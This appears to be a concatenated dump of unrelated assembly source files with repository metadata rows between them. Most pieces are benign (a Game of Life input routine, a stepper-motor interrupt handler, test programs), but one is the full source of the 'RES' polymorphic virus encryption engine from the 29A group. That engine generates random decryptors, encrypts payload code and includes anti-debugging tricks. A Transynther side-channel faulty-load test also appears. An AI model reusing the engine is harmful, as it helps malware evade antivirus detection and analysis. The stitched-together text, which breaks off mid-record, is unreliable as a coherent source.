mov rsp, qword [rcx]
mov rsp, qword [rdx]
mov rsp, qword [rdi]
mov rsp, qword [r8]
mov rsp, qword [r9]
mov rsp, qword [r10]
mov rsp, qword [r11]
mov rsp, qword [r12]
mov rsp, qword [r13]
mov rsp, qword [r14]
mov rsp, qword [r15]
mov rsp, qword [rsp]
mov rsp, qword [rsi]
mov rsp, qword [rbp]
mov rsi, qword [rax]
mov rsi, qword [rbx]
mov rsi, qword [rcx]
mov rsi, qword [rdx]
mov rsi, qword [rdi]
mov rsi, qword [r8]
mov rsi, qword [r9]
mov rsi, qword [r10]
mov rsi, qword [r11]
mov rsi, qword [r12]
mov rsi, qword [r13]
mov rsi, qword [r14]
mov rsi, qword [r15]
mov rsi, qword [rsp]
mov rsi, qword [rsi]
mov rsi, qword [rbp]
mov rbp, qword [rax]
mov rbp, qword [rbx]
mov rbp, qword [rcx]
mov rbp, qword [rdx]
mov rbp, qword [rdi]
mov rbp, qword [r8]
mov rbp, qword [r9]
mov rbp, qword [r10]
mov rbp, qword [r11]
mov rbp, qword [r12]
mov rbp, qword [r13]
mov rbp, qword [r14]
mov rbp, qword [r15]
mov rbp, qword [rsp]
mov rbp, qword [rsi]
mov rbp, qword [rbp]
| 20.742436 | 30 | 0.662789 |
2246dc44f3b90d2f151ef8064f7fca2fb668d177 | 1,873 | asm | Assembly | src/input.asm | unlink2/vicgol | 86ffc9e83ace128254271fc3d03f60b3331451a6 | [
"MIT"
] | null | null | null | src/input.asm | unlink2/vicgol | 86ffc9e83ace128254271fc3d03f60b3331451a6 | [
"MIT"
] | null | null | null | src/input.asm | unlink2/vicgol | 86ffc9e83ace128254271fc3d03f60b3331451a6 | [
"MIT"
] | null | null | null | fn testInput(row, col) {
ldy #row;
ldx #col;
jsr _testInput;
}
processInputs: {
lda #0b11111111;
sta DDRA;
lda #0b00000000;
sta DDRB;
// test Q. if it is pressed exit
testInput(0b01111111, 0b01000000);
bne noExit; {
lda #0b10000000;
ora runtimeFlags;
sta runtimeFlags;
}
noExit:
lda cursorMoveDelay;
bne skipCursorMove;
// test S
testInput(0b11111101, 0b00100000);
bne noDown; {
inc cursorY;
lda #DEFAULT_CURSOR_DELAY;
sta cursorMoveDelay;
}
noDown:
// test d
testInput(0b11111011, 0b00000100);
bne noRight; {
inc cursorX;
lda #DEFAULT_CURSOR_DELAY;
sta cursorMoveDelay;
}
noRight:
// test w
testInput(0b11111101, 0b00000010);
bne noUp; {
dec cursorY;
lda #DEFAULT_CURSOR_DELAY;
sta cursorMoveDelay;
}
noUp:
// test a
testInput(0b11111101, 0b00000100);
bne noLeft; {
dec cursorX;
lda #DEFAULT_CURSOR_DELAY;
sta cursorMoveDelay;
}
noLeft:
skipCursorMove:
lda flipDelay;
bne skipAction;
// test f
testInput(0b11111011, 0b00100000);
bne noFlip; {
ldx cursorX;
ldy cursorY;
lda #0xFF;
jsr flipCell;
lda #DEFAULT_FLIP_DELAY;
sta flipDelay;
}
noFlip:
// test p
testInput(0b11011111, 0b00000010);
bne noPause; {
lda runtimeFlags;
eor #0b01000000;
sta runtimeFlags; // flip pause flag
lda #DEFAULT_FLIP_DELAY;
sta flipDelay;
}
noPause:
skipAction:
rts;
}
// tests inputs of row/col
// x -> col to test
// y -> row to test
// returns:
// a -> zero if not pressed
_testInput: {
// test col y
sty PRA;
// test row x
txa;
and PRB;
rts;
}
| 17.183486 | 44 | 0.563801 |
2814aa42393995f6d833cc9b4c1c98c4b4e0f30f | 840 | asm | Assembly | drv/asm/i386/trap.asm | int0/ProcessIsolator | 8e992b1db0416294da9ef61da32c94c122bed91e | [
"MIT"
] | 71 | 2017-12-03T01:48:26.000Z | 2022-02-03T14:50:36.000Z | drv/asm/i386/trap.asm | ZhuHuiBeiShaDiao/ProcessIsolator | 8e992b1db0416294da9ef61da32c94c122bed91e | [
"MIT"
] | null | null | null | drv/asm/i386/trap.asm | ZhuHuiBeiShaDiao/ProcessIsolator | 8e992b1db0416294da9ef61da32c94c122bed91e | [
"MIT"
] | 22 | 2017-12-03T02:36:53.000Z | 2021-11-28T03:49:23.000Z | .686p
.model FLAT, C
option casemap :none
ASSUME DS:FLAT, ES:FLAT, SS:NOTHING, FS:NOTHING, GS:NOTHING
public PI_FastCallEntry
public NT_FastCallEntry
LIST_ENTRY struct
Flink dd ?
Blink dd ?
LIST_ENTRY ends
PI_PROCESS_ENTRY struct
List LIST_ENTRY <?>
ProcessId dd ?
PI_PROCESS_ENTRY ends
PI_PROCESS_LIST struct
Head LIST_ENTRY <?>
SpinLock dd ?
PI_PROCESS_LIST ends
.FARDATA
externdef PsGetCurrentProcessId:proc
externdef PI_KiFastCallEntry_Handler:proc
externdef g_PIProcessList:PI_PROCESS_LIST
.data
NT_FastCallEntry dd 0
.code
PI_FastCallEntry proc
jmp NT_FastCallEntry
;pushad
;pushfd
;push fs
;push ds
;
;push 30h
;pop fs
;
;mov ecx, 23h
;mov ds, ecx
;mov es, ecx
;
;
;
;pop ds
;pop fs
;popfd
;popad
;
;push 0
;ret
PI_FastCallEntry endp
end | 12.727273 | 61 | 0.704762 |
9371c0738338c8b51b6759ccf0ff205a6224e81c | 1,401 | asm | Assembly | asmTests/movsb.asm | SimpleTease/asm2c | 503007217292d490f33dbaea9b8c5cc8429ea97f | [
"MIT"
] | 154 | 2017-01-21T20:50:57.000Z | 2022-02-23T07:31:37.000Z | asmTests/movsb.asm | SimpleTease/asm2c | 503007217292d490f33dbaea9b8c5cc8429ea97f | [
"MIT"
] | 7 | 2017-09-15T04:06:07.000Z | 2020-12-18T01:03:55.000Z | asmTests/movsb.asm | SimpleTease/asm2c | 503007217292d490f33dbaea9b8c5cc8429ea97f | [
"MIT"
] | 29 | 2017-01-22T12:01:15.000Z | 2022-03-01T15:18:01.000Z | .386p
_DATA segment use32 dword public 'DATA' ;IGNORE
db 1,2,3,4
var1 db 2,5,6
var2 dw 4,6,9
var3 dd 11,-11,2,4
var4 db 100 dup (1)
testOVerlap db 1,2,3,4,5,6,7,8,9,10,11,12,13,14
T EQU 4
_DATA ends ;IGNORE
_TEXT segment use32 dword public 'CODE' ;IGNORE
assume cs:_TEXT,ds:_DATA
start: ;IGNORE
push ds
pop es
jmp finTest
mov esi,offset var1
mov edi,offset var4
movsb
cmp [var4],2
jne failure
cmp esi,offset var1+1
jne failure
cmp edi,offset var4+1
jne failure
mov esi,offset var3
mov edi,offset var4
mov ecx,t
rep movsb
cmp dword ptr var4,11
jne failure
cmp [var4+t],1
jne failure
cmp esi,offset var3+4
jne failure
cmp edi,offset var4+4
jne failure
;mov edx,offset var1 ; DS:EDX -> $ Terminated String
;cmp edx,0
;jne failure
;mov cl, byte ptr ds:[2]
;cmp cl,6
;jne failure
finTest:
mov esi,offset testOVerlap
mov edi,esi
inc edi
mov ecx,10
rep movsb
lea edi,testOVerlap
cmp byte ptr [testOVerlap+1],1
jne failure
mov byte ptr [var1+1],5
cmp byte ptr [var1+1],5
jne failure
mov esi,offset var1
mov edi,esi
inc edi
mov ecx,10
rep movsb
lea edi,var1
cmp byte ptr [var1+2],5
je failure ; http://blog.rewolf.pl/blog/?p=177
MOV al,0
JMP exitLabel
failure:
mov al,1
exitLabel:
mov ah,4ch ; AH=4Ch - Exit To DOS
int 21h
_TEXT ends ;IGNORE
stackseg segment para stack 'STACK' ;IGNORE
db 1000h dup(?)
stackseg ends ;IGNORE
end start ;IGNORE
| 14.01 | 64 | 0.708779 |
d4cbde9f2641d2f730217f04e5342adc2203b045 | 848 | asm | Assembly | programs/oeis/111/A111072.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/111/A111072.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/111/A111072.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A111072: Write the digit string 0123456789, repeated infinitely many times. Then, starting from the first "0" digit at the left end, move to the right by one digit (to the "1"), then two digits (to the "3"), then three digits (to the "6"), four digits ("0"), five digits ("5"), and so on. Partial sums of the digits thus reached are 0, 1, 4, 10, 10, 15, ...
; 0,1,4,10,10,15,16,24,30,35,40,46,54,55,60,60,66,69,70,70,70,71,74,80,80,85,86,94,100,105,110,116,124,125,130,130,136,139,140,140,140,141,144,150,150,155,156,164,170,175,180,186,194,195,200,200,206,209,210,210,210,211,214,220,220,225,226,234,240,245,250,256,264,265,270,270,276,279,280,280,280,281,284,290,290,295,296,304,310,315,320,326,334,335,340,340,346,349,350,350
lpb $0
mov $2,$0
sub $0,1
seq $2,8954 ; Final digit of triangular number n*(n+1)/2.
add $1,$2
lpe
mov $0,$1
| 77.090909 | 370 | 0.689858 |
55d750b4d2ad81cffa4231e568045005d29eae65 | 534 | asm | Assembly | libsrc/_DEVELOPMENT/alloc/obstack/c/sccz80/obstack_int_grow_fast_callee.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/alloc/obstack/c/sccz80/obstack_int_grow_fast_callee.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/alloc/obstack/c/sccz80/obstack_int_grow_fast_callee.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null |
; ===============================================================
; Dec 2013
; ===============================================================
;
; void *obstack_int_grow_fast(struct obstack *ob, int data)
;
; Append int to the growing object, no bounds check is made.
;
; ===============================================================
SECTION code_alloc_obstack
PUBLIC obstack_int_grow_fast_callee
obstack_int_grow_fast_callee:
pop hl
pop bc
ex (sp),hl
INCLUDE "alloc/obstack/z80/asm_obstack_int_grow_fast.asm"
| 23.217391 | 65 | 0.473783 |
4706d6192e0786ff3461bae796aa4bf83643162c | 11,077 | asm | Assembly | Libs/Win32/Cryptor/VirTool.Win32.Cryptor.RES.asm | Mingzhi5/MalwareRepository | bbda9079fe006adb6cfbb643a6060bc5c16ea4c4 | [
"MIT"
] | null | null | null | Libs/Win32/Cryptor/VirTool.Win32.Cryptor.RES.asm | Mingzhi5/MalwareRepository | bbda9079fe006adb6cfbb643a6060bc5c16ea4c4 | [
"MIT"
] | null | null | null | Libs/Win32/Cryptor/VirTool.Win32.Cryptor.RES.asm | Mingzhi5/MalwareRepository | bbda9079fe006adb6cfbb643a6060bc5c16ea4c4 | [
"MIT"
] | 1 | 2021-09-21T16:33:06.000Z | 2021-09-21T16:33:06.000Z | .386p
RES segment use16
assume cs:RES, ds:RES, es:RES, ss:RES
org 0
RES_SIZE_DEC equ 300h ; But it only needs 169h
res_engine:
start:
call res_delta
res_delta:
pop si
sub si,3 ; Get delta-offset
pop ax
push cs
push ax
push es
mov ax,es
sub ax,10h
mov es,ax
mov di,100h
push cx
mov cx,offset(end_res)
nop
push ds
push cs
pop ds
cld
rep movsb ; Copy RES code to working area
pop ds
pop cx
mov ax,offset(res_start+100h)
push es
push ax
retf ; jmp res_start
res_start:
pop es
mov si,100h
mov ax,es
add ax,(end_res-start+15)/16+1
mov es,ax ; Calculate base segment for decryptor
mov cs:[si+runtime_ofs],bx
mov cs:[si+code_length],cx
push cx
mov cx,RES_SIZE_DEC
xor di,di
mov al,90h ; NOP
cld
rep stosb ; Fill with NOPs
call init_masks
mov cx,8 ; 8 instructions per decryptor
xor di,di
add di,si
l_select_instructions:
push cx
call RES_get_random
mov ah,0
push cx
mov cl,5
shr al,cl ; AX in [0..7]
shl ax,1
shl ax,1 ; AX:=AX*4 (4 bytes per instruction)
pop cx
push di
push si
add di,offset(buffer_decryptor)
add si,offset(decryptor_table)
add si,ax
push ax
mov ax,cs:[si] ; Select an instruction for decryptor
mov cs:[di],ax ; and store it
mov ax,cs:[si+2]
mov cs:[di+2],ax
pop ax
pop si
pop di
push di
push si
add di,offset(buffer_encryptor)
add si,offset(encryptor_table)
add si,ax
push ax
mov ax,cs:[si] ; Select the instruction for encryptor
mov cs:[di],ax ; and store it
mov ax,cs:[si+2]
mov cs:[di+2],ax
pop ax
pop si
pop di
add di,4
pop cx
loop l_select_instructions
call reverse_decryptor_table
call make_encryptor
pop cx
push cx
mov bp,dx
mov di,RES_SIZE_DEC
mov cs:[si+code_CRC],0
l_encrypt_code:
mov al,ds:[bp]
mov es:[di],al
mov ah,0
add cs:[si+code_CRC],ax ; Make code CRC
encryptor db 8*4 dup(90h) ; Buffer for encryptor
inc di
inc bp
loop l_encrypt_code
push ds
push cs
pop ds
xor di,di
push si
add si,offset(decryptor_code)
mov cx,decrypted_code-decryptor_code
nop
cld
rep movsb ; Copy decryptor to buffer
pop si
pop ds
push es
pop ds
xor dx,dx ; DS:DX = Address of decryptor+code
pop cx
add cx,RES_SIZE_DEC ; Decryptor+encrypted code
retf
db 0
db 'RandomEncryptionSynthezator',0
db 'ü S.S.R. 1996-97',0
init_masks:
push si
mov cx,3 ; Only first 3 instructions need a mask
l_next_mask:
call RES_get_random
mov byte ptr cs:[si+decryptor_table+3],al ; Store mask
mov byte ptr cs:[si+encryptor_table+3],al
add si,4 ; Next inst.
loop l_next_mask
pop si
ret
RES_get_random:
pushf
in al,40h ; Get random number
ror al,1
xor al,53h
popf
ret
make_encryptor:
push es
push ds
push cs
pop es
push cs
pop ds
push si
in al,40h ; Get random number
mov cx,8
mov di,offset(encryptor)
add di,si
add si,offset(buffer_encryptor)
l_make_encryptor:
rcr al,1 ; Add instruction to encryptor?
jc add_instruction ; Yes? then jmp
nop
nop
add si,4
loop_make_encryptor:
loop l_make_encryptor
jmp encryptor_done
nop
add_instruction:
cld
push cx
mov cx,4
rep movsb ; Store instruction
pop cx
jmp loop_make_encryptor
encryptor_done:
pop si
pop ds
pop es
ret
reverse_decryptor_table:
push ax
push bp
push di
push cx
push bx
mov cx,8/2
mov di,offset(buffer_decryptor)
add di,si
mov bp,offset(end_buffer_dec)-4 ; Point to last inst.
add bp,si
l_reverse_table:
mov ax,cs:[di] ; Xchg instructions
mov bx,cs:[bp]
mov cs:[di],bx
mov cs:[bp],ax
mov ax,cs:[di+2]
mov bx,cs:[bp+2]
mov cs:[di+2],bx
mov cs:[bp+2],ax
sub bp,4 ; xchg next instruction
add di,4
loop l_reverse_table
pop bx
pop cx
pop di
pop bp
pop ax
ret
db 4 ; Unused !!
decryptor_code:
runtime_ofs equ word ptr $+1
mov bp,0 ; mov bp,runtime_ofs
push 1100h+(90h+3Ch-20h)
sub bp,offset(decryptor_code)
mov di,offset(decryptor)
add di,bp
pop ax ; AX:=1100h+(90h+3Ch-20h)
inc cs:[bp+n_decryptors] ; Inc # of tested decryptors
mov cs:[bp+decryptor_ok],0 ; Decryptor not found
mov cs:[bp+decrypting],0 ; Not decrypting
mov cx,20h
push es
push ds
add ax,cx
push cs
pop es
push cs
pop ds
cld
dec cx
sub al,3Ch ; AL:=90h (NOP)
rep stosb
add al,3Ch ; AL:=0CCh (int 3)
stosb
cmp cs:[bp+n_decryptors],150 ; < 150 decryptors tested?
jb create_random_decryptor ; Yes? then jmp
nop
nop
mov ax,cs:[bp+n_decryptors] ; Don't use a random number.
; n_decryptors will be increased, so it'll
; find the correct decryptor.
jmp create_decryptor
nop
db 66h ; Unused!? (antidebug??)
create_random_decryptor:
in al,40h ; Get random number
create_decryptor:
mov cs:[bp+decryptor_id],al ; Why? Never use it!!
mov cx,8
mov si,offset(buffer_decryptor)
add si,bp
mov di,offset(decryptor)
add di,bp
l_make_random_decryptor:
rcr al,1 ; Add instruction to decryptor?
jc add_inst_dec ; Yes? then jmp
nop
nop
add si,4
next_dec_instruction:
loop l_make_random_decryptor
jmp done_random_decryptor
nop
add_inst_dec:
cld
push cx
mov cx,4
rep movsb ; Add instruction
pop cx
jmp next_dec_instruction
done_random_decryptor:
mov di,RES_SIZE_DEC
add di,cs:[bp+runtime_ofs]
code_length equ word ptr $+1
mov cx,0 ; mov cx,code_length
mov bx,cs:[bp+code_CRC]
l_random_decryptor:
mov dl,cs:[di]
decryptor db 8*4 dup(90h)
mov al,dl
mov ah,0
sub bx,ax ; Calculate CRC
cmp cs:[bp+decrypting],1 ; Decrypting?
je decrypt_byte ; Yes? then jmp
nop
nop
loop_decryptor:
inc di
loop l_random_decryptor
pop ds
pop es
cmp bx,0 ; CRC OK?
jnz decryptor_code ; No? then jmp
jmp found_decryptor ; Yes? then jmp
nop
buffer_decryptor db 8*4 dup(90h)
end_buffer_dec:
code_CRC dw 0
decryptor_ok db 0
decrypting db 0
db 0Bh ; Unused!
db 0Bh ; Unused!
db 0Bh ; Unused!
decryptor_id db 0
n_decryptors dw 0
decrypt_byte:
mov cs:[di],dl ; Store decrypted byte
jmp loop_decryptor
found_decryptor:
cmp cs:[bp+decryptor_ok],1 ; Code decrypted?
je code_decrypted ; Yes? then jmp
nop
nop
mov cs:[bp+decrypting],1
mov cs:[bp+decryptor_ok],1
push es
push ds
jmp done_random_decryptor ; Decrypt code
code_decrypted:
jmp anti_disasm1
nop
db 69h ; Antidebug
anti_disasm1:
cli
push 3545h
jmp anti_disasm2
nop
db 0EAh ; Antidebug
anti_disasm2:
cli
inc sp
mov ax,cs:[bp]
xor ax,bx
cld
scasb
inc sp
mov ax,4202h
sub sp,2
pop ax
cmp ax,3545h ; Is it being traced?
jne decrypted_code ; Yes? then jmp
; BUG! Should jump when not traced
nop
nop
xor ax,3445h
mov es,ax
inc byte ptr cs:[0Dh]
and cx,0Fh
rep scasb
xor ax,cs:[si]
pushf
pop ax ; Get flags
and ah,0FEh ; Clear trace flag
push ax
xchg bx,cx
les bx,ds:[2Bh]
popf ; Trace flag off
xor eax,eax
mov dr7,eax ; Clear all breakpoints
dec byte ptr cs:[0Dh]
call skip_reset
db 0EAh ; jmp far ptr 0F000h:0FFF0h (reset)
dw 0FFF0h ; but never reach here because in 'skip_reset'
dw 0F000h ; it does a pop of the return address
skip_reset:
pop ax
decrypted_code: ; End of decryptor code
encryptor_table:
xor byte ptr es:[di],0
add byte ptr es:[di],0
sub byte ptr es:[di],0
nop
ror byte ptr es:[di],1
nop
rol byte ptr es:[di],1
nop
neg byte ptr es:[di]
nop
not byte ptr es:[di]
nop
neg byte ptr es:[di]
decryptor_table:
nop
xor dl,0
nop
sub dl,0
nop
add dl,0
nop
nop
rol dl,1
nop
nop
ror dl,1
nop
nop
neg dl
nop
nop
not dl
nop
nop
neg dl
buffer_encryptor db 8*4 dup(90h)
end_res:
RES ends
public res_engine
end
; End of RES disasm
; (c) 1997, Tcp/29A (tcp@cryogen.com)
| 24.948198 | 79 | 0.475129 |
f925e904a8c96282b7cfd326b43010764e5488c5 | 9,123 | asm | Assembly | controller/drv-isr.asm | eyalabraham/differential-pan-tilt | e150c5c53a38e565f0c67a6796aec1899db0b9b0 | [
"MIT"
] | 1 | 2021-02-27T01:03:09.000Z | 2021-02-27T01:03:09.000Z | controller/drv-isr.asm | eyalabraham/differential-pan-tilt | e150c5c53a38e565f0c67a6796aec1899db0b9b0 | [
"MIT"
] | 1 | 2020-05-10T22:19:46.000Z | 2020-05-13T20:24:56.000Z | controller/drv-isr.asm | eyalabraham/differential-pan-tilt | e150c5c53a38e565f0c67a6796aec1899db0b9b0 | [
"MIT"
] | 2 | 2020-08-09T10:14:37.000Z | 2021-09-10T03:54:27.000Z | ;
;=====================================================
; file: drv-isr.asm
;
; Large (memory model) stepper motor driver interrupt routine.
; NOTE:
; - Assumes IDB is default 0ffh
; - IO ports are configured for the application
;
; * Port-0 bit assignment
; *
; * b7 b6 b5 b4 b3 b2 b1 b0
; * | | | | | | | |
; * | | | | | | | +--- 'o' Pan step pulse
; * | | | | | | +------ 'o' Pan direction 0=CW, 1=CCW
; * | | | | | +--------- 'o' Tilt step pulse
; * | | | | +------------ 'o' Tilt direction 0=CW, 1=CCW
; * | | | +--------------- 'i'
; * | | +------------------ 'i'
; * | +--------------------- 'i'
; * +------------------------ 'o' Interrupt time-base test point
; *
; * Port-2 bit assignment
; *
; * b7 b6 b5 b4 b3 b2 b1 b0
; * | | | | | | | |
; * | | | | | | | +--- 'o' Pan MS0 00=1/4, 10=1/8, 11=1/16
; * | | | | | | +------ 'o' MS1
; * | | | | | +--------- 'o' Tilt MS0 00=1/4, 10=1/8, 11=1/16
; * | | | | +------------ 'o' MS1
; * | | | +--------------- 'i'
; * | | +------------------ 'i'
; * | +--------------------- 'i'
; * +------------------------ 'i' A/D SSTB (A/D pin.16)
;
; April 2020 - Created
;
;=====================================================
;
.8086
.model small
;
;----------------------------------------
; Externals
;----------------------------------------
;
extern _timer_ticks : word ; Timer tick uint16_t
extern _motors : word ; Array of motor_t structure
;
;----------------------------------------
; Motor data structure
;----------------------------------------
;
stepctrl_t struct
; C-type
rate dw ? ; (int ) Motor run rate steps per second [1..RATE_LIMIT]
isr_rate dw ? ; (uint16_t) ISR step pulse cycle
counter dw ? ; (uint16_t) Motor is stepped when counter == 0, decrement every time ISR runs
dir dw ? ; (int ) Direction, '-1' to CCW, '+1' to CW, '0' stop
steps dw ? ; (int ) Steps to move, if '-1' then move until stopped or limit reached
curr_pos dw ? ; (int ) Current position
limit_high dw ? ; (int ) High limit step count
limit_low dw ? ; (int ) Low limit step count
step_ctrl_bit db ? ; (uint8_t ) Motor driver 'step' IO pin
dummy db ? ; (uint8_t ) Alignment byte
;
stepctrl_t ends
;
;----------------------------------------
; IO
;----------------------------------------
;
PORT0 equ 000h
PORT1 equ 008h
PORT2 equ 010h
MOTOR_COUNT equ 2
HEARTBEAT_SET equ 080h
HEARTBEAT_CLR equ 07fh
;
;----------------------------------------
; End-Of-Interrupt macro
; Signals NEC V25 interrupt controller of an EOI
;----------------------------------------
;
FINT macro
db 0fh
db 092h
endm
;
;
.code
assume ds:DGROUP, ss:nothing, es:nothing
;
;=====================================================
; driver_isr_
;
; Interrupt service routine.
; Invoked every clock tick and sequences stepper motors.
;
; Measured timing profile @ 5,000Hz interrupt clock rate:
; 200uSec repetition interval
; 20uSec minimum execution time (10%)
; 75uSec maximum execution time (38%)
;
;=====================================================
;
public driver_isr_
;
driver_isr_ proc far
;
push ax
push cx
push si
push di
push es
;
mov di, 0f000h ; [ES:DI] pointer to NEC V25 SFR
mov es, di
mov di, 0ff00h
;
or byte ptr es:[di+PORT0], HEARTBEAT_SET ; Set heartbeat line
;
inc _timer_ticks ; Increment timer ticks
;
mov si, offset _motors
mov cx, MOTOR_COUNT
motor_loop:
cmp word ptr [si+dir], 0 ; When 'dir' is 0 then motor should not move
jz next_motor
;
dec word ptr [si+counter] ; When a motor's 'counter' is 0 it is time to move one step
jnz next_motor ; No move at this time slot
;
; Check position against limits 'limit_high' and 'limit_low'
; TODO This level of protection is not sufficient and requires actively
; moving the motor back into safe limits. Active step back is
; required after stopping the motor specifically for the tilt axis
; that is linked to the pan movement.
;
mov ax, word ptr [si+curr_pos] ; Get current position
cmp ax, word ptr [si+limit_high] ; Compare position to high limit
jg over_high_limit
cmp ax, word ptr [si+limit_low] ; Compare position to lower limit
jl under_low_limit
jmp check_step_count ; Within high/low limits, continue
over_high_limit:
cmp word ptr [si+dir], 0
jl check_step_count ; Allow motor to move if direction is CCW (dir = -1)
mov word ptr [si+dir], 0 ; otherwise stop motor
jmp next_motor
under_low_limit:
cmp word ptr [si+dir], 0
jg check_step_count ; Allow motor to move if direction is CW (dir = +1)
mov word ptr [si+dir], 0 ; otherwise stop motor
jmp next_motor
;
; If a 'step' count was specified then only move that number of steps until the value is 0.
; Decrement step count if 'steps' were specified (i.e. 'steps' != -1)
;
check_step_count:
cmp word ptr [si+steps], 0
jl move_motor ; Steps is '-1', no step limit, skip everything
jg have_step_count ; Steps specified, go update step count
mov word ptr [si+dir], 0 ; Limit reached, stop motor
jmp next_motor
;
have_step_count:
dec word ptr [si+steps] ; Decrement step count
;
; Move the motor one step
; Direction is already set on the port pins outside of the ISR
;
move_motor:
mov al, byte ptr [si+step_ctrl_bit] ; Get 'step' bit position
or byte ptr es:[di+PORT0], al ; Set A4988 step bit (can also do XOR)
not al ; a little bit of delay
and byte ptr es:[di+PORT0], al ; Clear A4988 step bit
;
; Update motor position
;
mov ax, word ptr [si+curr_pos] ; Adjust current motor position
add ax, word ptr [si+dir] ; as a relative step count
mov word ptr [si+curr_pos], ax
;
; Special handling on tilt position
; In a differential drive, panning steps cause tilt steps in the opposite direction
;
cmp cx, 2 ; Did we just update the pan motor?
jne not_pan_motor ; No, skip tilt step position adjustment
mov ax, word ptr [si+dir] ; Yes, get pan direction
neg ax ; and reverse it
add ax, word ptr [si+(sizeof stepctrl_t)+curr_pos] ; Adjust the tilt step position
mov word ptr [si+(sizeof stepctrl_t)+curr_pos], ax
;
; Refresh 'counter' based on movement calculated 'isr_rate'
;
not_pan_motor:
mov ax, word ptr [si+isr_rate] ; Get step rate counter
mov word ptr [si+counter], ax ; and refresh counter
;
next_motor:
add si, sizeof stepctrl_t
loop motor_loop
;
and byte ptr es:[di+PORT0], HEARTBEAT_CLR ; Clear heartbeat line
;
pop es
pop di
pop si
pop cx
pop ax
;
FINT
iret
;
driver_isr_ endp
;
end
| 41.280543 | 127 | 0.413899 |
6f31781bb0620c6738364214d48ef58c849cbe83 | 218 | asm | Assembly | libsrc/_DEVELOPMENT/math/float/math48/c/sccz80/cm48_sccz80_fmin.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/math/float/math48/c/sccz80/cm48_sccz80_fmin.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/math/float/math48/c/sccz80/cm48_sccz80_fmin.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null |
; double fmin(double x, double y)
SECTION code_fp_math48
PUBLIC cm48_sccz80_fmin
EXTERN am48_fmin, cm48_sccz80p_dparam2
cm48_sccz80_fmin:
call cm48_sccz80p_dparam2
; AC'= y
; AC = x
jp am48_fmin
| 12.111111 | 38 | 0.729358 |
efd3e160319edfb7c2c0f9272430fead5ad9f594 | 265 | asm | Assembly | core/src/code_generation/tests/expression-4.asm | mari-linhares/GoCompiler | dc87ff118ee5752fa1da3271ae57679a8ac449a3 | [
"Apache-2.0"
] | 1 | 2019-03-01T23:20:03.000Z | 2019-03-01T23:20:03.000Z | core/src/code_generation/tests/expression-4.asm | mari-linhares/GoCompiler | dc87ff118ee5752fa1da3271ae57679a8ac449a3 | [
"Apache-2.0"
] | null | null | null | core/src/code_generation/tests/expression-4.asm | mari-linhares/GoCompiler | dc87ff118ee5752fa1da3271ae57679a8ac449a3 | [
"Apache-2.0"
] | null | null | null | 100: LD SP, #4000
108: LD R1, #0
116: ST a, R1
124: LD R2, #0
132: ST b, R2
140: LD R3, #0
148: ST c, R3
156: LD R4, #0
164: ST d, R4
172: LD R5, #0
180: ST e, R5
function main
1000: ST a, R2
1008: ADD R6, R2, R3
1016: ST a, R6
1024: ADD R7, R6, R5
1032: ST d, R7
| 13.947368 | 20 | 0.588679 |
037d271b2a6e4cbc02edcaec8f95c64be3e634fd | 4,488 | asm | Assembly | Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xa0.log_21829_1820.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xa0.log_21829_1820.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xa0.log_21829_1820.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r13
push %r14
push %r15
push %r9
push %rbx
push %rdi
lea addresses_WC_ht+0x56ba, %r13
nop
nop
xor %r10, %r10
mov $0x6162636465666768, %r15
movq %r15, (%r13)
inc %rbx
lea addresses_normal_ht+0x1c63a, %r14
nop
nop
nop
sub $23956, %r9
movb $0x61, (%r14)
sub %rdi, %rdi
lea addresses_A_ht+0x19eba, %r9
cmp %rdi, %rdi
movl $0x61626364, (%r9)
and $43633, %r15
pop %rdi
pop %rbx
pop %r9
pop %r15
pop %r14
pop %r13
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r14
push %rbp
push %rcx
// Faulty Load
lea addresses_UC+0x1e6ba, %rbp
nop
nop
nop
sub $65110, %r12
mov (%rbp), %r14w
lea oracles, %r12
and $0xff, %r14
shlq $12, %r14
mov (%r12,%r14,1), %r14
pop %rcx
pop %rbp
pop %r14
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': True, 'same': False, 'congruent': 0, 'type': 'addresses_UC', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_UC', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'}
<gen_prepare_buffer>
